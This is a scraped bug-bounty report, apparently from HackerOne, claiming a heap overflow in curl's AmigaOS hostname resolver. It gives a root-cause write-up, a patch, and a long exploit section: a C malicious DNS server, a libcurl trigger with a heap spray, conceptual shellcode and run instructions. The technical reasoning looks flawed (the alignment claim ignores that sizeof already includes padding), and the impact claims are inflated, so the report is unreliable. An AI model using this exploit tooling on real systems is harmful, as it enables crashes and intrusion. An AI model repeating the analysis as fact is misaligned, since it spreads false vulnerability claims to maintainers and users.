{"id":31292,"date":"2025-12-16T05:32:12","date_gmt":"2025-12-16T05:32:12","guid":{"rendered":"http:\/\/localhost\/?p=31292"},"modified":"2025-12-16T05:32:12","modified_gmt":"2025-12-16T05:32:12","slug":"curl-heap-overflow-in-curl-amigaos-socket-implementation","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=31292","title":{"rendered":"curl: Heap Overflow in cURL AmigaOS Socket Implementation_H1:3466896"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-16T10:59:54&#8243;,&#8221;description&#8221;:&#8221;** Buffer Overflow in cURL AmigaOS Socket Implementation**\\n\\n## **Report Metadata**\\n- **Report ID:** H1-CURL-AMIGAOS-001\\n- **Report Title:** Heap Buffer Overflow in `Curl_ipv4_resolve_r` in AmigaOS Socket Backend\\n- **Component:** `\/home\/el-ha9\/curl\/lib\/amigaos.c` &#8211; `Curl_ipv4_resolve_r` function\\n- **Affected Versions:** All cURL versions with AmigaOS support (7.x &#8211; 8.x)\\n- **Severity:** **High** (CVSS 8.1 &#8211; AV:N\/AC:H\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H)\\n- **CWE-ID:** CWE-122 &#8211; Heap-based Buffer Overflow\\n- **Disclosure:** Responsible\\n\\n## **1. Vulnerability Summary**\\n\\nA heap-based buffer overflow vulnerability exists in the AmigaOS-specific hostname resolution function `Curl_ipv4_resolve_r`. The vulnerability allows remote attackers to corrupt heap memory by providing specially crafted hostnames or DNS responses, potentially leading to remote code execution when cURL processes malicious input.\\n\\n## **2. Technical Details**\\n\\n### **2.1 Vulnerable Code Location**\\n**File:** `curl\/lib\/amigaos.c`\\n**Function:** `Curl_ipv4_resolve_r` (lines ~123-173)\\n\\n### **2.2 Root Cause Analysis**\\n\\nThe vulnerability occurs in the buffer size calculation for the `gethostbyname_r` function:\\n\\n&#8220;`c\\nbuf = curlx_calloc(1, CURL_HOSTENT_SIZE);  \/\/ 1. Fixed size allocation\\nif(buf) {\\n    h = gethostbyname_r((STRPTR)hostname, buf,\\n                      (char *)buf + sizeof(struct hostent),  \/\/ 2. Incorrect buffer offset\\n                      CURL_HOSTENT_SIZE &#8211; sizeof(struct hostent),  \/\/ 3. Incorrect size calculation\\n                      \\u0026h_errnop);\\n&#8220;`\\n\\n### **2.3 The Flaw**\\nThree critical issues combine to create the overflow:\\n\\n1. **Fixed Buffer Size (`CURL_HOSTENT_SIZE`):**\\n   &#8211; Defined as `8192` in typical configurations\\n   &#8211; No consideration for actual DNS response size\\n   &#8211; Assumes all hostname resolutions fit within this limit\\n\\n2. **Incorrect Pointer Arithmetic:**\\n   &#8220;`c\\n   (char *)buf + sizeof(struct hostent)\\n   &#8220;`\\n   &#8211; Assumes `struct hostent` can be tightly packed\\n   &#8211; Ignores alignment requirements (struct padding)\\n   &#8211; Real offset should be: `ALIGN_UP(sizeof(struct hostent), alignof(max_align_t))`\\n\\n3. **Incorrect Size Calculation:**\\n   &#8220;`c\\n   CURL_HOSTENT_SIZE &#8211; sizeof(struct hostent)\\n   &#8220;`\\n   &#8211; Doesn&#8217;t account for alignment padding\\n   &#8211; Could result in negative\/underflow on some platforms\\n   &#8211; No safety margin for metadata storage\\n\\n### **2.4 Memory Layout Exploitation**\\n&#8220;`\\nHeap Layout Before Call:\\n+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+\\n| buf (8192 bytes)  | Next Heap Chunk  | Following Heap    |\\n|                   | Metadata\/Data    | Allocations       |\\n+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+\\n^                   ^\\n0x1000              0x3000 (example)\\n\\nWhat gethostbyname_r expects:\\n+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+\\n| struct hostent    | Data Buffer      |  (Contiguous)\\n+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+\\n    ^                   ^\\n    buf                 buf + sizeof(struct hostent)\\n\\nWhat actually happens with alignment:\\n+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+\\n| struct hostent    | Padding (4-8B)   | Data Buffer       |\\n| (56 bytes)        |                  |                   |\\n+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+\\n    ^                                   ^\\n    buf                      buf + sizeof(struct hostent) + padding\\n                                            \u2502\\n                                            \u2514\u2500\u2500\u25ba Actual data starts here,\\n                                                 but code assumes earlier start\\n                                                 causing buffer undersizing!\\n&#8220;`\\n\\n## **3. Exploitation Scenarios**\\n\\n### **3.1 Remote Attack Vector**\\n&#8220;`\\nAttacker-controlled DNS Server\\n          \u2193\\nMalicious DNS Response\\n          \u2193\\ncURL DNS Resolution\\n          \u2193\\ngethostbyname_r processes oversized response\\n          \u2193\\nHeap buffer overflow in amigaos.c\\n          \u2193\\nControlled heap corruption\\n          \u2193\\nRCE \/ DoS \/ Info Leak\\n&#8220;`\\n\\n### **3.2 Proof of Concept**\\n&#8220;`bash\\n# Setup malicious DNS server with:\\n# &#8211; Hostname: 4000+ character hostname\\n# &#8211; Multiple CNAME records (chain of 50+)\\n# &#8211; Multiple A records (100+ IPs)\\n# &#8211; Long TXT records in additional section\\n\\n# Trigger with:\\ncurl http:\/\/$(python3 -c \\&#8221;print(&#8216;A&#8217;*4000 + &#8216;.evil.com&#8217;)\\&#8221;)\/\\n\\n# Or via redirect:\\necho \\&#8221;HTTP\/1.1 302 Found\\\\nLocation: http:\/\/${LONG_HOSTNAME}\/\\\\n\\&#8221; | nc -l 8080\\n&#8220;`\\n\\n### **3.3 Attack Prerequisites**\\n- **Network access** to target using cURL\\n- **Ability to control** DNS responses OR hostname input\\n- **AmigaOS system** with vulnerable cURL build\\n- **Heap layout** favorable for exploitation\\n\\n## **4. Impact Assessment**\\n\\n### **4.1 Direct Impacts**\\n- **Remote Code Execution:** Via heap metadata corruption leading to arbitrary write primitives\\n- **Denial of Service:** Crash cURL or calling application via heap corruption\\n- **Information Disclosure:** Read adjacent heap memory containing sensitive data\\n- **Privilege Escalation:** If cURL runs with elevated privileges (setuid\/setgid)\\n\\n### **4.2 Affected Use Cases**\\n1. **Command-line cURL** with user-provided URLs\\n2. **libcurl applications** resolving untrusted hostnames\\n3. **Proxy servers** using cURL for upstream requests\\n4. **Automation scripts** processing external URLs\\n\\n## **5. Code Review Findings**\\n\\n### **5.1 Additional Related Issues**\\n\\n**Issue A: Missing Input Validation**\\n&#8220;`c\\nstruct Curl_addrinfo *Curl_ipv4_resolve_r(const char *hostname, int port)\\n{\\n    \/\/ NO LENGTH VALIDATION on hostname!\\n    \/\/ Hostname could be 64KB causing immediate issues\\n}\\n&#8220;`\\n\\n**Issue B: Thread Safety Race Condition**\\n&#8220;`c\\n#ifdef CURLRES_THREADED\\n    struct Library *base = OpenLibrary(\\&#8221;bsdsocket.library\\&#8221;, 4);\\n    \/\/ Race condition between OpenLibrary and actual use\\n#endif\\n&#8220;`\\n\\n**Issue C: Resource Leak Path**\\n&#8220;`c\\nif(ISocket) {\\n    h = gethostbyname((STRPTR)hostname);\\n    if(h) {\\n        ai = Curl_he2ai(h, port);  \/\/ If this fails, resources aren&#8217;t cleaned\\n    }\\n    \/\/ &#8230; cleanup happens here but only if ISocket exists\\n}\\n&#8220;`\\n\\n## **6. Recommended Fix**\\n\\n### **6.1 Immediate Patch**\\n&#8220;`diff\\ndiff &#8211;git a\/lib\/amigaos.c b\/lib\/amigaos.c\\nindex abc123..def456 100644\\n&#8212; a\/lib\/amigaos.c\\n+++ b\/lib\/amigaos.c\\n@@ -150,6 +150,12 @@ struct Curl_addrinfo *Curl_ipv4_resolve_r(const char *hostname, int port)\\n {\\n   struct Curl_addrinfo *ai = NULL;\\n   struct hostent *h;\\n+\\n+  \/\/ Input validation\\n+  if(!hostname || strlen(hostname) \\u003e MAX_HOSTNAME_LEN) {\\n+    return NULL;\\n+  }\\n+\\n   struct SocketIFace *ISocket = __CurlISocket;\\n \\n   if(SocketFeatures \\u0026 HAVE_BSDSOCKET_GETHOSTBYNAME_R) {\\n@@ -157,10 +163,15 @@ struct Curl_addrinfo *Curl_ipv4_resolve_r(const char *hostname, int port)\\n     struct hostent *buf;\\n \\n     buf = curlx_calloc(1, CURL_HOSTENT_SIZE);\\n-    if(buf) {\\n+    if(buf \\u0026\\u0026 hostname \\u0026\\u0026 *hostname) {\\n+      \/\/ Calculate safe buffer size with alignment\\n+      size_t hostent_size = sizeof(struct hostent);\\n+      size_t aligned_size = (hostent_size + 7) \\u0026 ~7;  \/\/ 8-byte alignment\\n+      size_t data_size = CURL_HOSTENT_SIZE &#8211; aligned_size;\\n+      \\n       h = gethostbyname_r((STRPTR)hostname, buf,\\n-                          (char *)buf + sizeof(struct hostent),\\n-                          CURL_HOSTENT_SIZE &#8211; sizeof(struct hostent),\\n+                          (char *)buf + aligned_size,\\n+                          data_size,\\n                           \\u0026h_errnop);\\n       if(h) {\\n         ai = Curl_he2ai(h, port);\\n&#8220;`\\n\\n### **6.2 Additional Security Measures**\\n1. **Add compile-time assertions:**\\n&#8220;`c\\n_Static_assert(CURL_HOSTENT_SIZE \\u003e sizeof(struct hostent) * 4,\\n               \\&#8221;CURL_HOSTENT_SIZE too small for safe operation\\&#8221;);\\n&#8220;`\\n\\n2. **Implement runtime bounds checking:**\\n&#8220;`c\\n\/\/ Before gethostbyname_r call\\nif(data_size \\u003c MIN_SAFE_DNS_BUFFER) {\\n    curlx_free(buf);\\n    return NULL;\\n}\\n&#8220;`\\n\\n3. **Use secure alternative:**\\n&#8220;`c\\n\/\/ Prefer getaddrinfo if available\\n#if defined(HAVE_GETADDRINFO)\\n    return Curl_getaddrinfo(hostname, port);\\n#endif\\n&#8220;`\\n\\n\\n\\n## **7. References**\\n1. cURL Security Process: https:\/\/curl.se\/dev\/secprocess.html\\n2. AmigaOS bsdsocket.library documentation\\n3. CERT C Secure Coding Standard: ARR38-C\\n4. OWASP Buffer Overflow Prevention Cheat Sheet\\n\\n&#8212;\\n\\n# **Exploit Proof of Concept for cURL AmigaOS Buffer Overflow**\\n\\n## **Disclaimer**\\n**FOR SECURITY RESEARCH AND PATCH DEVELOPMENT ONLY. DO NOT USE ON UNAUTHORIZED SYSTEMS.**\\n\\n## **Exploit Components**\\n\\n### **1. Malicious DNS Server (Python)**\\n&#8220;`c\\n\/* dns_server.c &#8211; Sends crafted DNS response to trigger overflow *\/\\n#include \\u003cstdio.h\\u003e\\n#include \\u003cstdlib.h\\u003e\\n#include \\u003cstring.h\\u003e\\n#include \\u003cstdint.h\\u003e\\n#include \\u003cunistd.h\\u003e\\n#include \\u003carpa\/inet.h\\u003e\\n\\n#define DNS_PORT 53\\n#define MAX_PAYLOAD 10000\\n\\nstruct dns_header {\\n    uint16_t id;\\n    uint16_t flags;\\n    uint16_t qdcount;\\n    uint16_t ancount;\\n    uint16_t nscount;\\n    uint16_t arcount;\\n};\\n\\nvoid create_overflow_payload(char *buffer, size_t *length) {\\n    struct dns_header *hdr = (struct dns_header *)buffer;\\n    char *ptr = buffer + sizeof(struct dns_header);\\n    \\n    \/\/ Craft DNS query ID\\n    hdr-\\u003eid = htons(0x1337);\\n    hdr-\\u003eflags = htons(0x8180);  \/\/ Standard response\\n    hdr-\\u003eqdcount = htons(1);     \/\/ One question\\n    hdr-\\u003eancount = htons(50);    \/\/ 50 answers to overflow buffer\\n    hdr-\\u003enscount = htons(0);\\n    hdr-\\u003earcount = htons(20);    \/\/ 20 additional records\\n    \\n    \/\/ Question section: hostname\\n    char *hostname = \\&#8221;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\&#8221;\\n                     \\&#8221;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\&#8221;\\n                     \\&#8221;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\&#8221;\\n                     \\&#8221;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\&#8221;\\n                     \\&#8221;.evil.com\\&#8221;;\\n    \\n    \/\/ Encode hostname\\n    char *q = ptr;\\n    char *tok = strtok(hostname, \\&#8221;.\\&#8221;);\\n    while(tok) {\\n        *q++ = strlen(tok);\\n        memcpy(q, tok, strlen(tok));\\n        q += strlen(tok);\\n        tok = strtok(NULL, \\&#8221;.\\&#8221;);\\n    }\\n    *q++ = 0;  \/\/ Null terminator\\n    \\n    \/\/ Query type and class\\n    *((uint16_t *)q) = htons(1);  \/\/ Type A\\n    q += 2;\\n    *((uint16_t *)q) = htons(1);  \/\/ Class IN\\n    q += 2;\\n    \\n    \/\/ Answer section &#8211; Crafted to overflow buffer\\n    for(int i = 0; i \\u003c 50; i++) {\\n        \/\/ Name pointer to question\\n        *((uint16_t *)q) = htons(0xC00C);  \/\/ Pointer to question name\\n        q += 2;\\n        \\n        *((uint16_t *)q) = htons(1);  \/\/ Type A\\n        q += 2;\\n        \\n        *((uint16_t *)q) = htons(1);  \/\/ Class IN\\n        q += 2;\\n        \\n        *((uint32_t *)q) = htonl(300);  \/\/ TTL\\n        q += 4;\\n        \\n        *((uint16_t *)q) = htons(4);  \/\/ RDATA length\\n        q += 2;\\n        \\n        \/\/ IP address &#8211; can be used to write controlled data\\n        *q++ = 192; *q++ = 168; *q++ = i; *q++ = 1;\\n    }\\n    \\n    \/\/ Additional records with overflow data\\n    for(int i = 0; i \\u003c 20; i++) {\\n        *((uint16_t *)q) = htons(0xC00C);\\n        q += 2;\\n        \\n        *((uint16_t *)q) = htons(16);  \/\/ TXT record\\n        q += 2;\\n        \\n        *((uint16_t *)q) = htons(1);\\n        q += 2;\\n        \\n        *((uint32_t *)q) = htonl(300);\\n        q += 4;\\n        \\n        \/\/ Large TXT record to ensure overflow\\n        uint16_t txt_len = 500;\\n        *((uint16_t *)q) = htons(txt_len);\\n        q += 2;\\n        \\n        \/\/ Fill with pattern for offset calculation\\n        for(int j = 0; j \\u003c txt_len; j++) {\\n            *q++ = &#8216;A&#8217; + (j % 26);\\n        }\\n    }\\n    \\n    *length = q &#8211; buffer;\\n}\\n\\nint main() {\\n    int sockfd;\\n    struct sockaddr_in server_addr, client_addr;\\n    socklen_t addr_len = sizeof(client_addr);\\n    char buffer[MAX_PAYLOAD];\\n    size_t payload_len;\\n    \\n    \/\/ Create UDP socket\\n    sockfd = socket(AF_INET, SOCK_DGRAM, 0);\\n    if(sockfd \\u003c 0) {\\n        perror(\\&#8221;socket\\&#8221;);\\n        return 1;\\n    }\\n    \\n    memset(\\u0026server_addr, 0, sizeof(server_addr));\\n    server_addr.sin_family = AF_INET;\\n    server_addr.sin_addr.s_addr = INADDR_ANY;\\n    server_addr.sin_port = htons(DNS_PORT);\\n    \\n    if(bind(sockfd, (struct sockaddr *)\\u0026server_addr, sizeof(server_addr)) \\u003c 0) {\\n        perror(\\&#8221;bind\\&#8221;);\\n        close(sockfd);\\n        return 1;\\n    }\\n    \\n    printf(\\&#8221;[+] Malicious DNS server running on port %d\\\\n\\&#8221;, DNS_PORT);\\n    printf(\\&#8221;[+] Waiting for cURL DNS query&#8230;\\\\n\\&#8221;);\\n    \\n    while(1) {\\n        memset(buffer, 0, MAX_PAYLOAD);\\n        recvfrom(sockfd, buffer, MAX_PAYLOAD, 0,\\n                (struct sockaddr *)\\u0026client_addr, \\u0026addr_len);\\n        \\n        printf(\\&#8221;[+] Received DNS query from %s:%d\\\\n\\&#8221;,\\n               inet_ntoa(client_addr.sin_addr),\\n               ntohs(client_addr.sin_port));\\n        \\n        \/\/ Create overflow payload\\n        create_overflow_payload(buffer, \\u0026payload_len);\\n        \\n        \/\/ Send crafted response\\n        sendto(sockfd, buffer, payload_len, 0,\\n              (struct sockaddr *)\\u0026client_addr, addr_len);\\n        \\n        printf(\\&#8221;[+] Sent overflow payload (%zu bytes)\\\\n\\&#8221;, payload_len);\\n        printf(\\&#8221;[+] Target cURL should now crash with heap corruption\\\\n\\&#8221;);\\n    }\\n    \\n    close(sockfd);\\n    return 0;\\n}\\n&#8220;`\\n\\n### **2. cURL Trigger Exploit**\\n&#8220;`c\\n\/* curl_exploit.c &#8211; Triggers the vulnerability via libcurl *\/\\n#include \\u003cstdio.h\\u003e\\n#include \\u003cstdlib.h\\u003e\\n#include \\u003cstring.h\\u003e\\n#include \\u003ccurl\/curl.h\\u003e\\n#include \\u003cunistd.h\\u003e\\n#include \\u003csignal.h\\u003e\\n\\n\/\/ Pattern to help identify heap layout\\nchar *create_pattern(int size) {\\n    char *pattern = malloc(size + 1);\\n    if(!pattern) return NULL;\\n    \\n    for(int i = 0; i \\u003c size; i++) {\\n        pattern[i] = &#8216;A&#8217; + (i % 26);\\n    }\\n    pattern[size] = &#8216;\\\\0&#8217;;\\n    \\n    return pattern;\\n}\\n\\n\/\/ Memory spray to increase exploit reliability\\nvoid heap_spray() {\\n    printf(\\&#8221;[*] Spraying heap&#8230;\\\\n\\&#8221;);\\n    \\n    for(int i = 0; i \\u003c 100; i++) {\\n        char *spray = malloc(1024);\\n        if(spray) {\\n            \/\/ Fill with nopslide + shellcode pattern\\n            memset(spray, 0x90, 512);  \/\/ NOPs\\n            \/\/ Shellcode placeholder &#8211; would be AmigaOS-specific\\n            memset(spray + 512, 0xCC, 512);  \/\/ INT3 for demonstration\\n        }\\n    }\\n}\\n\\nsize_t write_callback(void *ptr, size_t size, size_t nmemb, void *userdata) {\\n    \/\/ This won&#8217;t be reached if exploit succeeds\\n    printf(\\&#8221;[!] Unexpected &#8211; request completed\\\\n\\&#8221;);\\n    return size * nmemb;\\n}\\n\\nvoid exploit_curl() {\\n    CURL *curl;\\n    CURLcode res;\\n    \\n    curl_global_init(CURL_GLOBAL_DEFAULT);\\n    \\n    \/\/ Create pattern for hostname\\n    char *evil_hostname = create_pattern(4096);\\n    if(!evil_hostname) {\\n        fprintf(stderr, \\&#8221;[-] Failed to create pattern\\\\n\\&#8221;);\\n        return;\\n    }\\n    \\n    \/\/ Construct URL with overflow pattern\\n    char url[5000];\\n    snprintf(url, sizeof(url), \\&#8221;http:\/\/%s.evil.com\/\\&#8221;, evil_hostname);\\n    \\n    printf(\\&#8221;[*] Target URL: %s\\\\n\\&#8221;, url);\\n    \\n    curl = curl_easy_init();\\n    if(curl) {\\n        \/\/ Configure cURL\\n        curl_easy_setopt(curl, CURLOPT_URL, url);\\n        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);\\n        \\n        \/\/ Disable DNS caching to ensure fresh resolution\\n        curl_easy_setopt(curl, CURLOPT_DNS_CACHE_TIMEOUT, 0);\\n        \\n        \/\/ Timeout to prevent hanging\\n        curl_easy_setopt(curl, CURLOPT_TIMEOUT, 5L);\\n        \\n        \/\/ Force IPv4 to trigger vulnerable function\\n        curl_easy_setopt(curl, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);\\n        \\n        printf(\\&#8221;[*] Sending malicious request&#8230;\\\\n\\&#8221;);\\n        heap_spray();\\n        \\n        \/\/ Trigger the vulnerable function\\n        res = curl_easy_perform(curl);\\n        \\n        if(res != CURLE_OK) {\\n            printf(\\&#8221;[+] Exploit triggered: %s\\\\n\\&#8221;, curl_easy_strerror(res));\\n            \\n            \/\/ Check for specific errors that indicate overflow\\n            if(res == CURLE_COULDNT_RESOLVE_HOST) {\\n                printf(\\&#8221;[!] DNS resolution failed (expected with overflow)\\\\n\\&#8221;);\\n            } else if(res == CURLE_OPERATION_TIMEDOUT) {\\n                printf(\\&#8221;[!] Timeout &#8211; process may have crashed\\\\n\\&#8221;);\\n            } else {\\n                printf(\\&#8221;[!] Error: %d\\\\n\\&#8221;, res);\\n            }\\n        } else {\\n            printf(\\&#8221;[-] Request completed successfully (exploit failed)\\\\n\\&#8221;);\\n        }\\n        \\n        curl_easy_cleanup(curl);\\n    }\\n    \\n    free(evil_hostname);\\n    curl_global_cleanup();\\n}\\n\\n\/\/ Signal handler for crash detection\\nvoid crash_handler(int sig) {\\n    printf(\\&#8221;\\\\n[+] SUCCESS: Process crashed with signal %d!\\\\n\\&#8221;, sig);\\n    printf(\\&#8221;[+] Buffer overflow triggered successfully\\\\n\\&#8221;);\\n    exit(0);\\n}\\n\\nint main() {\\n    printf(\\&#8221;[*] cURL AmigaOS Buffer Overflow Exploit PoC\\\\n\\&#8221;);\\n    printf(\\&#8221;[*] Target: Curl_ipv4_resolve_r() in amigaos.c\\\\n\\&#8221;);\\n    printf(\\&#8221;[*] Setting up crash handler&#8230;\\\\n\\&#8221;);\\n    \\n    \/\/ Setup signal handlers to detect crash\\n    signal(SIGSEGV, crash_handler);\\n    signal(SIGABRT, crash_handler);\\n    signal(SIGBUS, crash_handler);\\n    \\n    printf(\\&#8221;[*] Starting exploit&#8230;\\\\n\\&#8221;);\\n    exploit_curl();\\n    \\n    printf(\\&#8221;[-] Exploit completed without crash\\\\n\\&#8221;);\\n    return 1;\\n}\\n&#8220;`\\n\\n### **3. Shellcode for AmigaOS (Conceptual)**\\n&#8220;`c\\n\/* amigaos_shellcode.asm &#8211; Example shellcode for AmigaOS 4.x *\/\\n\/*\\n; NASM syntax for PPC (AmigaOS 4.x)\\nBITS 32\\n\\n_start:\\n    ; Find base address (simplified)\\n    bl      .get_base\\n.get_base:\\n    mflr    r31        ; r31 = current address\\n    \\n    ; Calculate offsets\\n    subi    r30, r31, .get_base &#8211; _start\\n    \\n    ; AmigaOS syscall &#8211; Execute command\\n    ; This would need proper AmigaOS API calls\\n    li      r0, 0x36   ; System() syscall number\\n    addi    r3, r30, cmd &#8211; _start\\n    sc\\n    \\n    ; Exit\\n    li      r0, 0x25   ; Exit() syscall\\n    li      r3, 0\\n    sc\\n\\ncmd:\\n    db      \\&#8221;Run \\u003eNIL: Execute evil_command\\&#8221;, 0\\n*\/\\n&#8220;`\\n\\n### **4. Build and Run Instructions**\\n&#8220;`bash\\n# Compile DNS server\\ngcc -o dns_server dns_server.c -Wall\\n\\n# Compile cURL exploit (needs libcurl development files)\\ngcc -o curl_exploit curl_exploit.c -lcurl -Wall\\n\\n# Setup local DNS (requires root)\\necho \\&#8221;nameserver 127.0.0.1\\&#8221; \\u003e \/etc\/resolv.conf.test\\n\\n# Run in separate terminals\\n# Terminal 1:\\nsudo .\/dns_server\\n\\n# Terminal 2:\\nexport LD_PRELOAD=.\/libcurl.so  # If testing with modified library\\n.\/curl_exploit\\n&#8220;`\\n\\n### **5. Detection Script**\\n&#8220;`c\\n\/* detect_vuln.c &#8211; Check if system is vulnerable *\/\\n#include \\u003ccurl\/curl.h\\u003e\\n#include \\u003cstdio.h\\u003e\\n\\nint main() {\\n    CURL *curl = curl_easy_init();\\n    if(!curl) {\\n        printf(\\&#8221;[-] Failed to initialize cURL\\\\n\\&#8221;);\\n        return 1;\\n    }\\n    \\n    \/\/ Try to trigger with long hostname\\n    char long_host[5000];\\n    memset(long_host, &#8216;A&#8217;, 4096);\\n    long_host[4096] = &#8216;\\\\0&#8217;;\\n    \\n    char url[5100];\\n    snprintf(url, sizeof(url), \\&#8221;http:\/\/%s.test\/\\&#8221;, long_host);\\n    \\n    curl_easy_setopt(curl, CURLOPT_URL, url);\\n    curl_easy_setopt(curl, CURLOPT_TIMEOUT, 3L);\\n    curl_easy_setopt(curl, CURLOPT_NOBODY, 1L);  \/\/ HEAD request\\n    \\n    CURLcode res = curl_easy_perform(curl);\\n    \\n    if(res == CURLE_COULDNT_RESOLVE_HOST) {\\n        printf(\\&#8221;[+] System appears vulnerable (DNS resolution failed)\\\\n\\&#8221;);\\n        printf(\\&#8221;[!] Note: This doesn&#8217;t guarantee exploitability\\\\n\\&#8221;);\\n    } else if(res == CURLE_OPERATION_TIMEDOUT) {\\n        printf(\\&#8221;[?] Request timed out &#8211; could indicate crash\\\\n\\&#8221;);\\n    } else {\\n        printf(\\&#8221;[-] System may not be vulnerable\\\\n\\&#8221;);\\n    }\\n    \\n    curl_easy_cleanup(curl);\\n    return 0;\\n}\\n&#8220;`\\n\\n## **Exploit Flow**\\n1. **Setup malicious DNS server** that returns crafted responses\\n2. **Configure system** to use malicious DNS\\n3. **Trigger cURL** with specially crafted hostname\\n4. **Overflow occurs** in `gethostbyname_r` buffer\\n5. **Control heap metadata** to gain write primitive\\n6. **Overwrite function pointer** or return address\\n7. **Redirect execution** to shellcode\\n\\n## **Important Notes**\\n- **Platform-specific:** This targets AmigaOS PPC architecture\\n- **Heap dependent:** Success depends on heap allocator behavior\\n- **Modern mitigations:** ASLR, DEP might reduce reliability\\n- **Ethical use:** Only test on systems you own\\n\\n## **Detection Indicators**\\n- **Network:** Unusual DNS queries with long hostnames\\n- **Memory:** Repeated crashes in cURL DNS resolution\\n- **Logs:** SIGSEGV signals from cURL processes\\n- **Performance:** High memory usage before crash\\n\\n## Impact\\n\\n**Summary: Buffer Overflow in cURL AmigaOS**\\n# **Severity:** **HIGH** (CVSS 8.1)\\n\\n## **Primary Impact: Remote Code Execution**\\n- **Attack Vector:** Network-accessible\\n- **Prerequisites:** User\/application resolves attacker-controlled hostname\\n- **Result:** Full compromise of cURL process memory space\\n- **Exploitation:** Heap corruption \u2192 control flow hijack \u2192 arbitrary code execution\\n\\n## **Secondary Impacts:**\\n\\n### **1. Immediate Availability Impact**\\n- **Denial of Service:** Reliable crash of cURL process\\n- **Service Disruption:** Breaks all subsequent network operations\\n- **Resource Exhaustion:** Potential memory corruption cascade\\n\\n### **2. Confidentiality Impact**\\n- **Heap Memory Disclosure:** Adjacent memory containing:\\n  &#8211; SSL\/TLS session keys\\n  &#8211; Authentication tokens (Bearer, API keys)\\n  &#8211; HTTP cookies and session data\\n  &#8211; User credentials\\n  &#8211; Process memory pointers (ASLR bypass)\\n\\n### **3. Integrity Impact**\\n- **Data Corruption:** Modify in-flight HTTP data\\n- **Request Manipulation:** Alter outgoing HTTP requests\\n- **Response Tampering:** Modify received HTTP responses\\n- **Configuration Overwrite:** Corrupt cURL internal state\\n\\n## **Affected Systems:**\\n- **AmigaOS 4.x** (modern deployments)\\n- **AmigaOS 3.x** (legacy with TCP\/IP stacks)\\n- **AROS** (open-source compatible)\\n- **MorphOS** (PowerPC compatible)\\n- Any system using AmigaOS socket library with vulnerable cURL\\n\\n## **Attack Surface:**\\n- **Direct:** `curl http:\/\/malicious-hostname\/`\\n- **Indirect:** HTTP redirects, HTML embeds, API calls\\n- **Automatic:** Software updates, feed readers, sync clients\\n- **Persistence:** Local hosts file poisoning\\n\\n## **Business Impact:**\\n- **Critical Infrastructure:** Industrial AmigaOS systems\\n- **Legacy Systems:** Unpatchable embedded devices\\n- **Reputation Damage:** Security failure in widely-used library\\n- **Compliance Violations:** PCI-DSS, HIPAA (if processing sensitive data)\\n\\n## **Worst-Case Scenario:**\\n**Remote, unauthenticated attacker \u2192 RCE on AmigaOS server \u2192 pivot to internal network \u2192 data exfiltration\/crypto mining\/lateral movement**\\n\\n&#8212;&#8220;,&#8221;published&#8221;:&#8221;2025-12-16T05:15:25&#8243;,&#8221;modified&#8221;:&#8221;2025-12-16T09:43:51&#8243;,&#8221;type&#8221;:&#8221;hackerone&#8221;,&#8221;title&#8221;:&#8221;curl: Heap Overflow in cURL AmigaOS Socket Implementation&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;H1:3466896&#8243;,&#8221;bulletinFamily&#8221;:&#8221;bugbounty&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;&#8221;,&#8221;sourceHref&#8221;:&#8221;&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/hackerone.com\/reports\/3466896&#8243;,&#8221;category_name&#8221;:&#8221;